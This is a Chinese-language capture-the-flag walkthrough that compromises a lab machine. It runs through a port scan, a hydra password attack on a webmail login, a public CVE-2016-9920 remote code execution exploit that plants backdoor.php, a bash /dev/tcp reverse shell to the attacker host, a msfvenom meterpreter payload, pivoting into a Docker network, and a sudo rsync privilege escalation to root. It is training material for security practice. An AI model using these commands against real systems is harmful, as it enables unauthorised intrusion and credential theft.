kali：192.168.111.111
靶机：192.168.111.182
信息收集
端口扫描
nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.182
访问web，发现三个用户名
目录爆破发现zmail目录
dirsearch -u http://192.168.111.182 -w /opt/zidian/SecLists-2022.2/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
访问该目录提示需要登录，用发现的用户名爆破
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.111.182 http-get /zmail -t 64
得到账号密码：p48|electrico，登录后发现一封邮件，内容提示存在另一台服务器
发现该cms的版本存在远程代码执行
漏洞利用
exp：https://github.com/t0kx/exploit-CVE-2016-9920
修改内容
执行python脚本
python3 exploit.py --host p48:[email protected] --user p48 --pwd electrico --path /zmail --www_path /var/www/html/zmail/
访问http://192.168.111.182/zmail/backdoor.php执行命令
反弹shell需要经过url编码才可以执行
bash -c 'exec bash -i >& /dev/tcp/192.168.111.111/4444 0>&1'
提权
切换到p48用户，在用户家目录下发现gpg私钥：privkey.gpg
配合在邮件中发现的密文解密，得到p48用户的ssh私钥，解密网站：https://youritmate.us/pgp/
查看目标网卡发现另一个网段172.17.0.0/24
上传msf木马进行端口扫描
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.111.111 lport=4444 -f elf -o shell.elf
添加路由
run autoroute -s 172.17.0.0/24
利用msf模块auxiliary/scanner/portscan/tcp扫描，发现172.17.0.1和172.17.0.2开放22端口
use auxiliary/scanner/portscan/tcp
set rhosts 172.17.0.0/24
set threads 100
利用gpg解密得到的p48用户私钥登录172.17.0.2，尝试利用ssh登录之后发现172.17.0.1登录的是靶机，172.17.0.2是docker容器
ssh [email protected] -i id_rsa
提权方法：https://gtfobins.github.io/gtfobins/rsync/#sudo
sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
切换到root之后查看/root/.ssh/id_rsa，获得root用户私钥，登录172.17.0.1，获得flag
ssh [email protected] -i id_rsa
